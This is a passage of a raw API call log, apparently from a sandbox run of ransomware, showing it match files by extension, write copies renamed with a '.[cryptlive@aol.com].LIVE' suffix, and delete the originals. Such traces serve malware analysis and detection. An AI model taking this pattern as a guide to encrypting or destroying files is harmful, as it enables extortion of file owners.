lstrlenW (lpString=".xlsx") returned 5 [0137.484] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0137.484] lstrlenW (lpString=".ppt") returned 4 [0137.484] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0137.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0137.484] lstrlenW (lpString=".zip") returned 4 [0137.484] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0137.484] lstrlenW (lpString=".rar") returned 4 [0137.484] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0137.484] lstrlenW (lpString=".bz2") returned 4 [0137.484] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0137.484] lstrlenW (lpString=".7z") returned 3 [0137.484] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0137.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0137.484] lstrlenW (lpString=".dbf") returned 4 [0137.484] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0137.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0137.484] lstrlenW (lpString=".1cd") returned 4 [0137.484] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0137.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0137.484] lstrlenW (lpString=".jpg") returned 4 [0137.484] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0137.485] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0137.485] lstrlenW (lpString="BULLETS.DLL") returned 11 [0137.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0137.490] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=15264) returned 1 [0137.490] CloseHandle (hObject=0x39c) returned 1 [0137.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll")) returned 0x20 [0137.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0137.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0137.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0137.619] lstrlenW (lpString=".doc") returned 4 [0137.619] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0137.619] lstrlenW (lpString=".docx") returned 5 [0137.619] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0137.619] lstrlenW (lpString=".pdf") returned 4 [0137.620] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0137.620] lstrlenW (lpString=".xls") returned 4 [0137.620] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0137.620] lstrlenW (lpString=".xlsx") returned 5 [0137.620] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0137.620] lstrlenW (lpString=".ppt") returned 4 [0137.620] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0137.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0137.620] lstrlenW (lpString=".zip") returned 4 [0137.620] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0137.620] lstrlenW (lpString=".rar") returned 4 [0137.620] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0137.620] lstrlenW (lpString=".bz2") returned 4 [0137.620] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0137.620] lstrlenW (lpString=".7z") returned 3 [0137.620] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0137.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0137.620] lstrlenW (lpString=".dbf") returned 4 [0137.620] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0137.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0137.620] lstrlenW (lpString=".1cd") returned 4 [0137.620] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0137.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0137.620] lstrlenW (lpString=".jpg") returned 4 [0137.620] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0137.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0137.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0137.621] lstrlenW (lpString=".doc") returned 4 [0137.621] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0137.621] lstrlenW (lpString=".docx") returned 5 [0137.621] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0137.621] lstrlenW (lpString=".pdf") returned 4 [0137.621] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0137.621] lstrlenW (lpString=".xls") returned 4 [0137.621] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0137.621] lstrlenW (lpString=".xlsx") returned 5 [0137.621] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0137.621] lstrlenW (lpString=".ppt") returned 4 [0137.621] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0137.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0137.621] lstrlenW (lpString=".zip") returned 4 [0137.621] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0137.621] lstrlenW (lpString=".rar") returned 4 [0137.621] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0137.621] lstrlenW (lpString=".bz2") returned 4 [0137.621] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0137.621] lstrlenW (lpString=".7z") returned 3 [0137.621] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0137.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0137.621] lstrlenW (lpString=".dbf") returned 4 [0137.621] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0137.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0137.621] lstrlenW (lpString=".1cd") returned 4 [0137.621] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0137.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0137.621] lstrlenW (lpString=".jpg") returned 4 [0137.621] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0137.621] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0137.621] lstrlenW (lpString="OFFICE10.DLL") returned 12 [0137.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0137.653] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=15776) returned 1 [0137.653] CloseHandle (hObject=0x1fc) returned 1 [0137.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll")) returned 0x20 [0137.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0137.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0137.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0137.695] lstrlenW (lpString=".doc") returned 4 [0137.695] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0137.695] lstrlenW (lpString=".docx") returned 5 [0137.695] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0137.695] lstrlenW (lpString=".pdf") returned 4 [0137.695] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0137.695] lstrlenW (lpString=".xls") returned 4 [0137.695] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0137.695] lstrlenW (lpString=".xlsx") returned 5 [0137.695] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0137.695] lstrlenW (lpString=".ppt") returned 4 [0137.695] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0137.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0137.695] lstrlenW (lpString=".zip") returned 4 [0137.696] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0137.696] lstrlenW (lpString=".rar") returned 4 [0137.696] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0137.696] lstrlenW (lpString=".bz2") returned 4 [0137.696] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0137.696] lstrlenW (lpString=".7z") returned 3 [0137.696] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0137.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0137.696] lstrlenW (lpString=".dbf") returned 4 [0137.696] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0137.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0137.696] lstrlenW (lpString=".1cd") returned 4 [0137.696] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0137.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0137.696] lstrlenW (lpString=".jpg") returned 4 [0137.696] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0137.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0137.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0137.696] lstrlenW (lpString=".doc") returned 4 [0137.696] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0137.696] lstrlenW (lpString=".docx") returned 5 [0137.696] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0137.696] lstrlenW (lpString=".pdf") returned 4 [0137.696] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0137.696] lstrlenW (lpString=".xls") returned 4 [0137.697] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0137.697] lstrlenW (lpString=".xlsx") returned 5 [0137.697] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0137.697] lstrlenW (lpString=".ppt") returned 4 [0137.697] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0137.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0137.697] lstrlenW (lpString=".zip") returned 4 [0137.697] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0137.697] lstrlenW (lpString=".rar") returned 4 [0137.697] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0137.697] lstrlenW (lpString=".bz2") returned 4 [0137.697] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0137.697] lstrlenW (lpString=".7z") returned 3 [0137.697] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0137.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0137.697] lstrlenW (lpString=".dbf") returned 4 [0137.697] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0137.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0137.697] lstrlenW (lpString=".1cd") returned 4 [0137.697] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0137.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0137.697] lstrlenW (lpString=".jpg") returned 4 [0137.697] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0137.697] lstrcmpiW (lpString1=".MMW", lpString2=".LIVE") returned 1 [0137.697] lstrlenW (lpString="OFFICE10.MMW") returned 12 [0137.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0137.698] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=492624) returned 1 [0137.698] CloseHandle (hObject=0x1dc) returned 1 [0137.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw")) returned 0x20 [0137.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0137.724] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.724] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0137.725] GetLastError () returned 0x0 [0137.725] ReadFile (in: hFile=0x388, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x78450, lpOverlapped=0x0) returned 1 [0137.737] WriteFile (in: hFile=0x390, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x78460, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x78460, lpOverlapped=0x0) returned 1 [0137.746] ReadFile (in: hFile=0x388, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.746] WriteFile (in: hFile=0x390, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.746] SetEndOfFile (hFile=0x390) returned 1 [0137.746] CloseHandle (hObject=0x390) returned 1 [0137.746] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.746] SetEndOfFile (hFile=0x388) returned 1 [0138.239] CloseHandle (hObject=0x388) returned 1 [0138.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0138.240] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw")) returned 1 [0138.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0138.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0138.240] lstrlenW (lpString=".doc") returned 4 [0138.240] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0138.240] lstrlenW (lpString=".docx") returned 5 [0138.240] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0138.240] lstrlenW (lpString=".pdf") returned 4 [0138.241] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0138.241] lstrlenW (lpString=".xls") returned 4 [0138.241] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0138.241] lstrlenW (lpString=".xlsx") returned 5 [0138.241] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0138.241] lstrlenW (lpString=".ppt") returned 4 [0138.241] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0138.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0138.241] lstrlenW (lpString=".zip") returned 4 [0138.241] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0138.241] lstrlenW (lpString=".rar") returned 4 [0138.241] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0138.241] lstrlenW (lpString=".bz2") returned 4 [0138.241] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0138.241] lstrlenW (lpString=".7z") returned 3 [0138.241] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0138.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0138.241] lstrlenW (lpString=".dbf") returned 4 [0138.241] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0138.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0138.241] lstrlenW (lpString=".1cd") returned 4 [0138.241] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0138.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0138.241] lstrlenW (lpString=".jpg") returned 4 [0138.241] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0138.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0138.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0138.241] lstrlenW (lpString=".doc") returned 4 [0138.241] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0138.241] lstrlenW (lpString=".docx") returned 5 [0138.241] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0138.241] lstrlenW (lpString=".pdf") returned 4 [0138.241] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0138.241] lstrlenW (lpString=".xls") returned 4 [0138.241] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0138.241] lstrlenW (lpString=".xlsx") returned 5 [0138.241] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0138.242] lstrlenW (lpString=".ppt") returned 4 [0138.242] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0138.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0138.242] lstrlenW (lpString=".zip") returned 4 [0138.242] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0138.242] lstrlenW (lpString=".rar") returned 4 [0138.242] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0138.242] lstrlenW (lpString=".bz2") returned 4 [0138.242] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0138.242] lstrlenW (lpString=".7z") returned 3 [0138.242] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0138.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0138.242] lstrlenW (lpString=".dbf") returned 4 [0138.242] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0138.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0138.242] lstrlenW (lpString=".1cd") returned 4 [0138.242] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0138.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0138.242] lstrlenW (lpString=".jpg") returned 4 [0138.242] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0138.242] lstrcmpiW (lpString1=".HLP", lpString2=".LIVE") returned -1 [0138.242] lstrlenW (lpString="ACTIP10.HLP") returned 11 [0138.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.046] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=343520) returned 1 [0139.046] CloseHandle (hObject=0x3ac) returned 1 [0139.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp")) returned 0x20 [0139.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0139.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0139.047] lstrlenW (lpString=".doc") returned 4 [0139.047] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0139.047] lstrlenW (lpString=".docx") returned 5 [0139.047] lstrcmpiW (lpString1=".docx", lpString2="0.HLP") returned -1 [0139.047] lstrlenW (lpString=".pdf") returned 4 [0139.047] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0139.047] lstrlenW (lpString=".xls") returned 4 [0139.047] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0139.047] lstrlenW (lpString=".xlsx") returned 5 [0139.047] lstrcmpiW (lpString1=".xlsx", lpString2="0.HLP") returned -1 [0139.047] lstrlenW (lpString=".ppt") returned 4 [0139.047] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0139.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0139.047] lstrlenW (lpString=".zip") returned 4 [0139.047] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0139.047] lstrlenW (lpString=".rar") returned 4 [0139.047] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0139.047] lstrlenW (lpString=".bz2") returned 4 [0139.047] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0139.047] lstrlenW (lpString=".7z") returned 3 [0139.047] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0139.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0139.047] lstrlenW (lpString=".dbf") returned 4 [0139.047] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0139.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0139.048] lstrlenW (lpString=".1cd") returned 4 [0139.048] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0139.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0139.048] lstrlenW (lpString=".jpg") returned 4 [0139.048] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0139.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0139.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0139.048] lstrlenW (lpString=".doc") returned 4 [0139.048] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0139.048] lstrlenW (lpString=".docx") returned 5 [0139.048] lstrcmpiW (lpString1=".docx", lpString2="0.HLP") returned -1 [0139.048] lstrlenW (lpString=".pdf") returned 4 [0139.048] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0139.048] lstrlenW (lpString=".xls") returned 4 [0139.048] lstrcmpiW (lpString1=".xls", 